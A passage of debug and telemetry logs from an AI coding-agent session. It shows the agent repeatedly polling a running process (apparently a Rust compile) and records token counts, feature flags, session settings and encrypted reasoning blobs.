codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:33.647Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:33.647Z] [INFO] \n[2026-07-12T04:06:33.685Z] [INFO] 2026-07-12T04:06:33.651836Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312c7693c8191902cba5ee4812e47\"\n[2026-07-12T04:06:33.685Z] [INFO] 2026-07-12T04:06:33.661631Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60878 output_token_count=59 cached_token_count=60160 reasoning_token_count=0 tool_token_count=60937 ttft_ms=2153 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:33.661Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:33.685Z] [INFO] 2026-07-12T04:06:33.661673Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60878 output_token_count=59 cached_token_count=60160 reasoning_token_count=0 tool_token_count=60937 ttft_ms=2153 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:33.661Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:33.685Z] [INFO] \n[2026-07-12T04:06:38.769Z] [INFO] 2026-07-12T04:06:38.766721Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-c120b4ae-2873-48fb-b543-db82e30b2187 arguments={\"session_id\":26498,\"chars\":\"\",\"yield_time_ms\":1000,\"max_output_tokens\":5000} duration_ms=5002 success=true output=Chunk ID: 321e43\n[2026-07-12T04:06:38.769Z] [INFO] Wall time: 5.0022 seconds\n[2026-07-12T04:06:38.769Z] [INFO] Process running with session ID 26498\n[2026-07-12T04:06:38.769Z] [INFO] Original token count: 0\n[2026-07-12T04:06:38.769Z] [INFO] Output:\n[2026-07-12T04:06:38.769Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:38.766Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.769Z] [INFO] 2026-07-12T04:06:38.766807Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-c120b4ae-2873-48fb-b543-db82e30b2187 duration_ms=5002 success=true arguments_length=77 output_length=113 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:38.766Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.769Z] [INFO] \n[2026-07-12T04:06:38.775Z] [INFO] 2026-07-12T04:06:38.771621Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_hVKGfnOiYpigXiU8sN54kIIX arguments=const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:38.775Z] [INFO]  duration_ms=5109 success=true output=Script completed\n[2026-07-12T04:06:38.775Z] [INFO] Wall time 5.1 seconds\n[2026-07-12T04:06:38.775Z] [INFO] Output:\n[2026-07-12T04:06:38.775Z] [INFO] \n[2026-07-12T04:06:38.775Z] [INFO] SESSION_ID=26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:38.771Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.775Z] [INFO] 2026-07-12T04:06:38.771659Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_hVKGfnOiYpigXiU8sN54kIIX duration_ms=5109 success=true arguments_length=173 output_length=64 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:38.771Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.775Z] [INFO] 2026-07-12T04:06:38.771743Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_hVKGfnOiYpigXiU8sN54kIIX tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=5109 total_duration_ms=5109\n[2026-07-12T04:06:38.775Z] [INFO] \n[2026-07-12T04:06:38.942Z] [INFO] 2026-07-12T04:06:38.938696Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:06:38.942Z] [INFO] \n[2026-07-12T04:06:38.969Z] [INFO] 2026-07-12T04:06:38.962946Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:38.962Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.969Z] [INFO] 2026-07-12T04:06:38.963014Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:38.963Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:38.969Z] [INFO] 2026-07-12T04:06:38.963031Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:06:38.969Z] [INFO] \n[2026-07-12T04:06:40.155Z] [INFO] 2026-07-12T04:06:40.151549Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312d022cc8191a0736cf7b85318d4\"), status: Some(\"in_progress\"), call_id: \"call_l8iHCfxZh5PtdTDegPho8X7T\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:40.155Z] [INFO] \n[2026-07-12T04:06:41.179Z] [INFO] 2026-07-12T04:06:41.178574Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:41.179Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:41.179Z] [INFO] \n[2026-07-12T04:06:41.194Z] [INFO] 2026-07-12T04:06:41.193665Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312cf11c481919f07a76a1be38fd3\"\n[2026-07-12T04:06:41.194Z] [INFO] 2026-07-12T04:06:41.193723Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60965 output_token_count=59 cached_token_count=60160 reasoning_token_count=0 tool_token_count=61024 ttft_ms=1185 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:41.193Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:41.194Z] [INFO] 2026-07-12T04:06:41.193745Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60965 output_token_count=59 cached_token_count=60160 reasoning_token_count=0 tool_token_count=61024 ttft_ms=1185 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:41.193Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:41.194Z] [INFO] \n[2026-07-12T04:06:46.399Z] [INFO] 2026-07-12T04:06:46.398766Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-c75f242a-5f3c-4e22-b50d-a6f33ea7c5fc arguments={\"session_id\":26498,\"chars\":\"\",\"yield_time_ms\":1000,\"max_output_tokens\":5000} duration_ms=5122 success=true output=Chunk ID: 0bdc9d\n[2026-07-12T04:06:46.399Z] [INFO] Wall time: 5.1227 seconds\n[2026-07-12T04:06:46.399Z] [INFO] Process running with session ID 26498\n[2026-07-12T04:06:46.399Z] [INFO] Original token count: 0\n[2026-07-12T04:06:46.399Z] [INFO] Output:\n[2026-07-12T04:06:46.399Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:46.398Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.399Z] [INFO] \n[2026-07-12T04:06:46.407Z] [INFO] 2026-07-12T04:06:46.399576Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-c75f242a-5f3c-4e22-b50d-a6f33ea7c5fc duration_ms=5122 success=true arguments_length=77 output_length=113 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:46.399Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.407Z] [INFO] \n[2026-07-12T04:06:46.413Z] [INFO] 2026-07-12T04:06:46.404246Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_l8iHCfxZh5PtdTDegPho8X7T arguments=const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:46.413Z] [INFO]  duration_ms=5222 success=true output=Script completed\n[2026-07-12T04:06:46.413Z] [INFO] Wall time 5.2 seconds\n[2026-07-12T04:06:46.413Z] [INFO] Output:\n[2026-07-12T04:06:46.413Z] [INFO] \n[2026-07-12T04:06:46.413Z] [INFO] SESSION_ID=26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:46.404Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.413Z] [INFO] 2026-07-12T04:06:46.404291Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_l8iHCfxZh5PtdTDegPho8X7T duration_ms=5222 success=true arguments_length=173 output_length=64 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:46.404Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.413Z] [INFO] 2026-07-12T04:06:46.404376Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_l8iHCfxZh5PtdTDegPho8X7T tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=5222 total_duration_ms=5222\n[2026-07-12T04:06:46.413Z] [INFO] \n[2026-07-12T04:06:46.573Z] [INFO] 2026-07-12T04:06:46.572584Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:06:46.573Z] [INFO] \n[2026-07-12T04:06:46.581Z] [INFO] 2026-07-12T04:06:46.580946Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=4 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:46.580Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.581Z] [INFO] 2026-07-12T04:06:46.581021Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=4 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:46.581Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:46.581Z] [INFO] 2026-07-12T04:06:46.581039Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:06:46.581Z] [INFO] \n[2026-07-12T04:06:48.093Z] [INFO] 2026-07-12T04:06:48.092306Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312d811e08191830b238d48346ab8\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLYw0kIOTRDxCHp7Ok8CxN9VljJTBfXNLG8NIjfegWXlQIn_ud8GonkLxXerlbLomVQ8DktaQLwxp_Jy-25eSTiXChP2_X5-FVIHNNOf_xgNW2nh8kqnT0Rhk8OBoxAQwTB-_pS_M9ZdPpKFX4GoTOWkcKTy0h6InNtO4swhAxMR0owAfBfQCpyOaSc-TA2X1jqsTkuTGSEcOYvuKmubzGfK7NRfVr9Ha5IXoaT_XzyaahX_vTZLrpmvXHpbvOWvHnVkX0SNc93YFMd3w5dcJ28ffUy_p5zcdd47bDxOH9fANt9L68R3ogZFHc8l5QID8hDeFF1XX-F8zT22EvFrUgeRpXE2j-5rIb5d2iXqXLux3dYcHs9EpXSpCT_BMSz0vdFXp5ljx1ycsTgVZBkuiIPh2VB3sqoi1139QdJ50SG_6Wm2NI0dVXxkO_A8WHxKELn8ma0qdSqQkJVa7JSAuX_fRJwujwMofheuu1v7KzlkHY1sF4maqiFfqraBimgjgiP63RwrM3pIiZAWU1uBWK3ofJEAuKRKXT543rGKA8keO-PlWpi3-nIOLn8XpBEKqbW0tdrK5VtMZe6iejAzIriuT3EP0gy2gqHpPio7n6Qj6gim0nwer07CZh6UoWFPIgP8PQeh3KZfF0YuBe9bXnZtJ5KettF5FChd_NWUMP3sUhEhRhkuqcWG_WpHpg_jaVrDcStxyf05vyiqOLghJDaHr0dgUc8LZt6GtQo3c9avKUgDFMJR1Zf2wRyADhiwQEcynV5Ltx5swncoknIUhRD1qvwq_bcIaBmrI0Bl5HzfQHeHykXg77C6stowzcvr6aPRzIex8ok-s56I0wymQDqm2m7pteMLMd08xQgQblMsrV-JndY0SkX7KnWknUn3I3nuyrbjzFUf5e5pTQxy1Ewlg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:48.093Z] [INFO] \n[2026-07-12T04:06:48.791Z] [INFO] 2026-07-12T04:06:48.786583Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312d811e08191830b238d48346ab8\"), summary: [SummaryText { text: \"**Considering Rust script compile duration**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxLYbO5tu2kwEHAXAJ-ko78Ey-T9RJX7zzNvD4-957w1OWKGmISg4HJZdJYF8X4n8m3pQdXJ951653yQkFE-ays9i6hRGLhoAYIhe-jabLnKFlYFwuYkS7z1nPgsLg5k0Frlaxep0M88IFPvH3TilJVqxtOSAV8M4I39tfy0hthb4_7nPxLF0Tn9pGIkh-BZp8XjEFsurCI15KiVFwFrkjb_Sz5Ez-mAaMBLE5snGPVquJwy9qdhisen3h8T_TtSqVOC2qyyBS7kNpVaO8561nc2kJXiO-yNvng9k_S3l8Z2allHPbZxt-9lCD0olHM91fFGdoEAGO3EHZlEMTx-fVJEJFMstIaedWu0F5LjVFoXid2wmdOmwoYnl68QKszqfW0J4ILk22e4g8oeNsbxuXhJLSo7A22O2TbsS4ywcywj-3VaiP6PnyzpHY6XA4SOnF2zT1cEdwhim3z44bl-stluUPVvwf-a4Ve0aQBu-cmt-foXm2wbH-KvWrd4adKCTyyMoh6Flayxn5Cc-o0SLq8ESsGKvUCelmRt_qOo4tgrPf0VKGFZgjaaGdVU4wOKpkRURGwARHfJVVv0jvmoECkGaWXvpqAbATNfEdSQ3oBefzZDkVAtA6M4ImgR5t7E7X2EyYKPgNEBRYQtL0_HQlync7NXqsrbj9jr3Sny3obJBnT2hrDZniQ4gOj8XuSOZh2et3Vfi14Q-gaNF69ILvy2SPon9DVWD6-1ihWi1meu9vOYIZejr7vAIuIfe0q4nw4dEI6Khq7bH-MBGiS93NQWL9cupdnA9NVdtu5r1KTS_YCDREc1HQ-2heJJzjf2_dXVKJhmn7rpgpUsUl9qaBJv7N6DEHmqSv8rXv2Mu03JAJffyRmwJhd7ZYNm6NmOmEGhNW5-ikwdQZrpPBwc-60eExdD4VJS-VDEhne-mE8O1cIGYHb4r5C